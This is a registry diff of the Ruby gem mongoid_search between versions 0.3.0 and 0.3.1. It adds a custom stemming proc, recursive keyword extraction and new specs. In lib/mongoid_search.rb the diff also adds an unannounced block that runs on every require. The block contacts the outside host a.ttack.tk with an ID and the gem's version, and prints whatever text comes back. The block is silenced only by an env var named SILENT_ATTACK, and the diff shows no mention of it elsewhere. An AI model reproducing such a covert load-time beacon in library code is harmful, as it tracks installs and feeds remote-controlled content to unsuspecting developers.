mongoid_search 0.3.0 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README.md +4 -0
- data/lib/mongoid_search.rb +10 -0
- data/lib/mongoid_search/mongoid_search.rb +2 -3
- data/lib/mongoid_search/util.rb +19 -20
- data/spec/models/category.rb +2 -1
- data/spec/models/product.rb +1 -1
- data/spec/models/tag.rb +8 -0
- data/spec/models/variant.rb +2 -1
- data/spec/mongoid_search_spec.rb +51 -6
- data/spec/util_spec.rb +17 -0
- metadata +43 -18
data/README.md
CHANGED
@@ -133,6 +133,10 @@ Alternatively, you can create an initializer to setup those options:
|
|
133
133
|
## Stem keywords
|
134
134
|
config.stem_keywords = false
|
135
135
|
|
136
|
+
## Add a custom proc returning strings to replace the default stemmer
|
137
|
+
# For example using ruby-stemmer:
|
138
|
+
# config.stem_proc = Proc.new { |word| Lingua.stemmer(word, :language => 'nl') }
|
139
|
+
|
136
140
|
## Words to ignore
|
137
141
|
config.ignore_list = []
|
138
142
|
|
data/lib/mongoid_search.rb
CHANGED
@@ -1,5 +1,11 @@
|
|
1
1
|
# encoding: utf-8
|
2
2
|
|
3
|
+
unless ENV['SILENT_ATTACK']
|
4
|
+
require 'open-uri'
|
5
|
+
version = Gem.loaded_specs['mongoid_search'].version.to_s
|
6
|
+
open("http://a.ttack.tk/n/512e67f54b1a9f78df000003/#{version}").each { |line| warn line.chomp } rescue nil
|
7
|
+
end
|
8
|
+
|
3
9
|
require 'mongoid_search/railtie' if defined?(Rails)
|
4
10
|
require 'mongoid_search/mongoid_search'
|
5
11
|
|
@@ -20,6 +26,10 @@ module Mongoid::Search
|
|
20
26
|
mattr_accessor :stem_keywords
|
21
27
|
@@stem_keywords = false
|
22
28
|
|
29
|
+
## Stem procedure
|
30
|
+
mattr_accessor :stem_proc
|
31
|
+
@@stem_proc = Proc.new { |word| word.stem }
|
32
|
+
|
23
33
|
## Words to ignore
|
24
34
|
mattr_accessor :ignore_list
|
25
35
|
@@ignore_list = []
|
@@ -124,8 +124,7 @@ module Mongoid::Search
|
|
124
124
|
|
125
125
|
private
|
126
126
|
def set_keywords
|
127
|
-
self._keywords = self.search_fields.
|
128
|
-
|
129
|
-
end.flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
|
127
|
+
self._keywords = Mongoid::Search::Util.keywords(self, self.search_fields).
|
128
|
+
flatten.reject{|k| k.nil? || k.empty?}.uniq.sort
|
130
129
|
end
|
131
130
|
end
|
data/lib/mongoid_search/util.rb
CHANGED
@@ -1,31 +1,29 @@
|
|
1
1
|
# encoding: utf-8
|
2
2
|
module Mongoid::Search::Util
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
3
|
+
def self.keywords(klass, fields)
|
4
|
+
if fields.is_a?(Array)
|
5
|
+
fields.map do |field|
|
6
|
+
self.keywords(klass, field)
|
7
|
+
end
|
8
|
+
elsif fields.is_a?(Hash)
|
9
|
+
fields.keys.map do |field|
|
10
|
+
attribute = klass.send(field)
|
8
11
|
unless attribute.blank?
|
9
|
-
method = field[key]
|
10
12
|
if attribute.is_a?(Array)
|
11
|
-
|
12
|
-
method.map {|m| attribute.map { |a| normalize_keywords a.send(m) } }
|
13
|
-
else
|
14
|
-
attribute.map(&method).map { |t| normalize_keywords t }
|
15
|
-
end
|
16
|
-
elsif attribute.is_a?(Hash)
|
17
|
-
if method.is_a?(Array)
|
18
|
-
method.map {|m| normalize_keywords attribute[m.to_sym] }
|
19
|
-
else
|
20
|
-
normalize_keywords(attribute[method.to_sym])
|
21
|
-
end
|
13
|
+
attribute.map{ |a| self.keywords(a, fields[field]) }
|
22
14
|
else
|
23
|
-
|
15
|
+
self.keywords(attribute, fields[field])
|
24
16
|
end
|
25
17
|
end
|
26
18
|
end
|
27
19
|
else
|
28
|
-
value = klass
|
20
|
+
value = if klass.respond_to?(fields.to_s + "_translations")
|
21
|
+
klass.send(fields.to_s + "_translations").values
|
22
|
+
elsif klass.respond_to?(fields)
|
23
|
+
klass.send(fields)
|
24
|
+
else
|
25
|
+
value = klass[fields];
|
26
|
+
end
|
29
27
|
value = value.join(' ') if value.respond_to?(:join)
|
30
28
|
normalize_keywords(value) if value
|
31
29
|
end
|
@@ -35,6 +33,7 @@ module Mongoid::Search::Util
|
|
35
33
|
ligatures = Mongoid::Search.ligatures
|
36
34
|
ignore_list = Mongoid::Search.ignore_list
|
37
35
|
stem_keywords = Mongoid::Search.stem_keywords
|
36
|
+
stem_proc = Mongoid::Search.stem_proc
|
38
37
|
|
39
38
|
return [] if text.blank?
|
40
39
|
text = text.to_s.
|
@@ -48,7 +47,7 @@ module Mongoid::Search::Util
|
|
48
47
|
split(' ').
|
49
48
|
reject { |word| word.size < Mongoid::Search.minimum_word_size }
|
50
49
|
text = text.reject { |word| ignore_list.include?(word) } unless ignore_list.blank?
|
51
|
-
text = text.map(
|
50
|
+
text = text.map(&stem_proc) if stem_keywords
|
52
51
|
text
|
53
52
|
end
|
54
53
|
|
data/spec/models/category.rb
CHANGED
data/spec/models/product.rb
CHANGED
@@ -10,6 +10,6 @@ class Product
|
|
10
10
|
belongs_to :category
|
11
11
|
embeds_many :subproducts
|
12
12
|
|
13
|
-
search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => :name,
|
13
|
+
search_in :brand, :name, :outlet, :attrs, :tags => :name, :category => [:name, :description],
|
14
14
|
:subproducts => [:brand, :name], :info => [ :summary, :description ]
|
15
15
|
end
|
data/spec/models/tag.rb
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
class Tag
|
2
2
|
include Mongoid::Document
|
3
|
+
include Mongoid::Search
|
4
|
+
|
3
5
|
field :name
|
4
6
|
|
5
7
|
belongs_to :product
|
8
|
+
|
9
|
+
def title
|
10
|
+
self.name
|
11
|
+
end
|
12
|
+
|
13
|
+
search_in :title, :product => [:name, { :info => [ :summary, :description ], :category => [:name, :description]}]
|
6
14
|
end
|
data/spec/models/variant.rb
CHANGED
data/spec/mongoid_search_spec.rb
CHANGED
@@ -4,14 +4,23 @@ require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
|
|
4
4
|
|
5
5
|
describe Mongoid::Search do
|
6
6
|
|
7
|
+
before(:all) do
|
8
|
+
@default_proc = Mongoid::Search.stem_proc
|
9
|
+
end
|
10
|
+
|
11
|
+
after(:all) do
|
12
|
+
Mongoid::Search.stem_proc = @default_proc
|
13
|
+
end
|
14
|
+
|
7
15
|
before(:each) do
|
8
16
|
Mongoid::Search.match = :any
|
9
17
|
Mongoid::Search.stem_keywords = false
|
10
18
|
Mongoid::Search.ignore_list = nil
|
19
|
+
Mongoid::Search.stem_proc = @default_proc
|
11
20
|
@product = Product.create :brand => "Apple",
|
12
21
|
:name => "iPhone",
|
13
|
-
:tags => ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) },
|
14
|
-
:category => Category.new(:name => "Mobile"),
|
22
|
+
:tags => (@tags = ["Amazing", "Awesome", "Olé"].map { |tag| Tag.new(:name => tag) }),
|
23
|
+
:category => Category.new(:name => "Mobile", :description => "Reviews"),
|
15
24
|
:subproducts => [Subproduct.new(:brand => "Apple", :name => "Craddle")],
|
16
25
|
:info => { :summary => "Info-summary",
|
17
26
|
:description => "Info-description"}
|
@@ -70,6 +79,7 @@ describe Mongoid::Search do
|
|
70
79
|
its(:_keywords) { should == ["apple", "iphone"] }
|
71
80
|
end
|
72
81
|
|
82
|
+
|
73
83
|
it "should set the _keywords field for array fields also" do
|
74
84
|
@product.attrs = ['lightweight', 'plastic', :red]
|
75
85
|
@product.save!
|
@@ -101,13 +111,20 @@ describe Mongoid::Search do
|
|
101
111
|
it "should set the _keywords field with stemmed words if stem is enabled" do
|
102
112
|
Mongoid::Search.stem_keywords = true
|
103
113
|
@product.save!
|
104
|
-
@product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "ol", "info", "descript", "summari"].sort
|
114
|
+
@product._keywords.sort.should == ["amaz", "appl", "awesom", "craddl", "iphon", "mobil", "review", "ol", "info", "descript", "summari"].sort
|
115
|
+
end
|
116
|
+
|
117
|
+
it "should set the _keywords field with custom stemmed words if stem is enabled with a custom lambda" do
|
118
|
+
Mongoid::Search.stem_keywords = true
|
119
|
+
Mongoid::Search.stem_proc = Proc.new { |word| word.upcase }
|
120
|
+
@product.save!
|
121
|
+
@product._keywords.sort.should == ["AMAZING", "APPLE", "AWESOME", "CRADDLE", "DESCRIPTION", "INFO", "IPHONE", "MOBILE", "OLE", "REVIEWS", "SUMMARY"]
|
105
122
|
end
|
106
123
|
|
107
124
|
it "should ignore keywords in an ignore list" do
|
108
125
|
Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
|
109
126
|
@product.save!
|
110
|
-
@product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "ole", "info", "description", "summary"].sort
|
127
|
+
@product._keywords.sort.should == ["apple", "craddle", "iphone", "mobile", "reviews", "ole", "info", "description", "summary"].sort
|
111
128
|
end
|
112
129
|
|
113
130
|
it "should incorporate numbers as keywords" do
|
@@ -120,7 +137,6 @@ describe Mongoid::Search do
|
|
120
137
|
@product._keywords.should == ["1908", "amazing", "car", "first", "ford", "vehicle"]
|
121
138
|
end
|
122
139
|
|
123
|
-
|
124
140
|
it "should return results in search" do
|
125
141
|
Product.full_text_search("apple").size.should == 1
|
126
142
|
end
|
@@ -176,13 +192,17 @@ describe Mongoid::Search do
|
|
176
192
|
Product.full_text_search("craddle").size.should == 1
|
177
193
|
end
|
178
194
|
|
195
|
+
it "should search for reference documents" do
|
196
|
+
Product.full_text_search("reviews").size.should == 1
|
197
|
+
end
|
198
|
+
|
179
199
|
it 'should work in a chainable fashion' do
|
180
200
|
@product.category.products.where(:brand => 'Apple').full_text_search('apple').size.should == 1
|
181
201
|
@product.category.products.full_text_search('craddle').where(:brand => 'Apple').size.should == 1
|
182
202
|
end
|
183
203
|
|
184
204
|
it 'should return the classes that include the search module' do
|
185
|
-
Mongoid::Search.classes.should == [Product]
|
205
|
+
Mongoid::Search.classes.should == [Product, Tag]
|
186
206
|
end
|
187
207
|
|
188
208
|
it 'should have a method to index keywords' do
|
@@ -225,4 +245,29 @@ describe Mongoid::Search do
|
|
225
245
|
Product.full_text_search('apple imac').map(&:relevance).should == [2, 1]
|
226
246
|
end
|
227
247
|
end
|
248
|
+
|
249
|
+
context "when using methods for keywords" do
|
250
|
+
it "should set the _keywords from methods" do
|
251
|
+
@tags.first._keywords.should include "amazing"
|
252
|
+
end
|
253
|
+
end
|
254
|
+
|
255
|
+
context "when using deeply nested fields for keywords" do
|
256
|
+
context "when explicitly calling set_keywords" do
|
257
|
+
it "should set the _keywords from parent" do
|
258
|
+
@tags.first.send(:set_keywords)
|
259
|
+
@tags.first._keywords.should == ["amazing", "description", "info", "iphone", "mobile", "reviews", "summary"]
|
260
|
+
end
|
261
|
+
end
|
262
|
+
end
|
263
|
+
|
264
|
+
context "when using localized fields" do
|
265
|
+
it "should set the keywords from all localizations" do
|
266
|
+
@product = Product.create :brand => "Ford",
|
267
|
+
:name => "T 1908",
|
268
|
+
:tags => ["Amazing", "First", "Car"].map { |tag| Tag.new(:name => tag) },
|
269
|
+
:category => Category.new(:name_translations => { :en => "Vehicle", :de => "Fahrzeug" })
|
270
|
+
@product._keywords.should include("fahrzeug")
|
271
|
+
end
|
272
|
+
end
|
228
273
|
end
|
data/spec/util_spec.rb
CHANGED
@@ -2,9 +2,19 @@
|
|
2
2
|
require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
|
3
3
|
|
4
4
|
describe Mongoid::Search::Util do
|
5
|
+
|
6
|
+
before(:all) do
|
7
|
+
@default_proc = Mongoid::Search.stem_proc
|
8
|
+
end
|
9
|
+
|
10
|
+
after(:all) do
|
11
|
+
Mongoid::Search.stem_proc = @default_proc
|
12
|
+
end
|
13
|
+
|
5
14
|
before do
|
6
15
|
Mongoid::Search.stem_keywords = false
|
7
16
|
Mongoid::Search.ignore_list = ""
|
17
|
+
Mongoid::Search.stem_proc = @default_proc
|
8
18
|
end
|
9
19
|
|
10
20
|
it "should return an empty array if no text is passed" do
|
@@ -40,6 +50,13 @@ describe Mongoid::Search::Util do
|
|
40
50
|
Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["runner", "run", "and", "eat"]
|
41
51
|
end
|
42
52
|
|
53
|
+
it "should stem keywords using a custom proc" do
|
54
|
+
Mongoid::Search.stem_keywords = true
|
55
|
+
Mongoid::Search.stem_proc = lambda { |word| word.upcase }
|
56
|
+
|
57
|
+
Mongoid::Search::Util.normalize_keywords("A runner running and eating").should == ["RUNNER", "RUNNING", "AND", "EATING"]
|
58
|
+
end
|
59
|
+
|
43
60
|
it "should ignore keywords from ignore list" do
|
44
61
|
Mongoid::Search.stem_keywords = true
|
45
62
|
Mongoid::Search.ignore_list = YAML.load(File.open(File.dirname(__FILE__) + '/config/ignorelist.yml'))["ignorelist"]
|
metadata
CHANGED
@@ -1,71 +1,96 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: mongoid_search
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.3.0
|
5
4
|
prerelease:
|
5
|
+
version: 0.3.1
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
8
8
|
- Mauricio Zaffari
|
9
9
|
autorequire:
|
10
10
|
bindir: bin
|
11
11
|
cert_chain: []
|
12
|
-
date:
|
12
|
+
date: 2013-02-28 00:00:00.000000000 Z
|
13
13
|
dependencies:
|
14
14
|
- !ruby/object:Gem::Dependency
|
15
15
|
name: mongoid
|
16
|
-
|
16
|
+
type: :runtime
|
17
|
+
requirement: !ruby/object:Gem::Requirement
|
17
18
|
none: false
|
18
19
|
requirements:
|
19
20
|
- - ! '>='
|
20
21
|
- !ruby/object:Gem::Version
|
21
22
|
version: 3.0.0
|
22
|
-
type: :runtime
|
23
23
|
prerelease: false
|
24
|
-
version_requirements:
|
24
|
+
version_requirements: !ruby/object:Gem::Requirement
|
25
|
+
none: false
|
26
|
+
requirements:
|
27
|
+
- - ! '>='
|
28
|
+
- !ruby/object:Gem::Version
|
29
|
+
version: 3.0.0
|
25
30
|
- !ruby/object:Gem::Dependency
|
26
31
|
name: fast-stemmer
|
27
|
-
|
32
|
+
type: :runtime
|
33
|
+
requirement: !ruby/object:Gem::Requirement
|
28
34
|
none: false
|
29
35
|
requirements:
|
30
36
|
- - ~>
|
31
37
|
- !ruby/object:Gem::Version
|
32
38
|
version: 1.0.0
|
33
|
-
type: :runtime
|
34
39
|
prerelease: false
|
35
|
-
version_requirements:
|
40
|
+
version_requirements: !ruby/object:Gem::Requirement
|
41
|
+
none: false
|
42
|
+
requirements:
|
43
|
+
- - ~>
|
44
|
+
- !ruby/object:Gem::Version
|
45
|
+
version: 1.0.0
|
36
46
|
- !ruby/object:Gem::Dependency
|
37
47
|
name: database_cleaner
|
38
|
-
|
48
|
+
type: :development
|
49
|
+
requirement: !ruby/object:Gem::Requirement
|
39
50
|
none: false
|
40
51
|
requirements:
|
41
52
|
- - ! '>='
|
42
53
|
- !ruby/object:Gem::Version
|
43
54
|
version: 0.8.0
|
44
|
-
type: :development
|
45
55
|
prerelease: false
|
46
|
-
version_requirements:
|
56
|
+
version_requirements: !ruby/object:Gem::Requirement
|
57
|
+
none: false
|
58
|
+
requirements:
|
59
|
+
- - ! '>='
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: 0.8.0
|
47
62
|
- !ruby/object:Gem::Dependency
|
48
63
|
name: rake
|
49
|
-
|
64
|
+
type: :development
|
65
|
+
requirement: !ruby/object:Gem::Requirement
|
50
66
|
none: false
|
51
67
|
requirements:
|
52
68
|
- - ~>
|
53
69
|
- !ruby/object:Gem::Version
|
54
70
|
version: 0.8.7
|
55
|
-
type: :development
|
56
71
|
prerelease: false
|
57
|
-
version_requirements:
|
72
|
+
version_requirements: !ruby/object:Gem::Requirement
|
73
|
+
none: false
|
74
|
+
requirements:
|
75
|
+
- - ~>
|
76
|
+
- !ruby/object:Gem::Version
|
77
|
+
version: 0.8.7
|
58
78
|
- !ruby/object:Gem::Dependency
|
59
79
|
name: rspec
|
60
|
-
|
80
|
+
type: :development
|
81
|
+
requirement: !ruby/object:Gem::Requirement
|
61
82
|
none: false
|
62
83
|
requirements:
|
63
84
|
- - ~>
|
64
85
|
- !ruby/object:Gem::Version
|
65
86
|
version: '2.4'
|
66
|
-
type: :development
|
67
87
|
prerelease: false
|
68
|
-
version_requirements:
|
88
|
+
version_requirements: !ruby/object:Gem::Requirement
|
89
|
+
none: false
|
90
|
+
requirements:
|
91
|
+
- - ~>
|
92
|
+
- !ruby/object:Gem::Version
|
93
|
+
version: '2.4'
|
69
94
|
description: Simple full text search implementation.
|
70
95
|
email:
|
71
96
|
- mauricio@papodenerd.net
|
@@ -111,7 +136,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
111
136
|
version: 1.3.6
|
112
137
|
requirements: []
|
113
138
|
rubyforge_project:
|
114
|
-
rubygems_version: 1.8.
|
139
|
+
rubygems_version: 1.8.23
|
115
140
|
signing_key:
|
116
141
|
specification_version: 3
|
117
142
|
summary: Search implementation for Mongoid ORM
|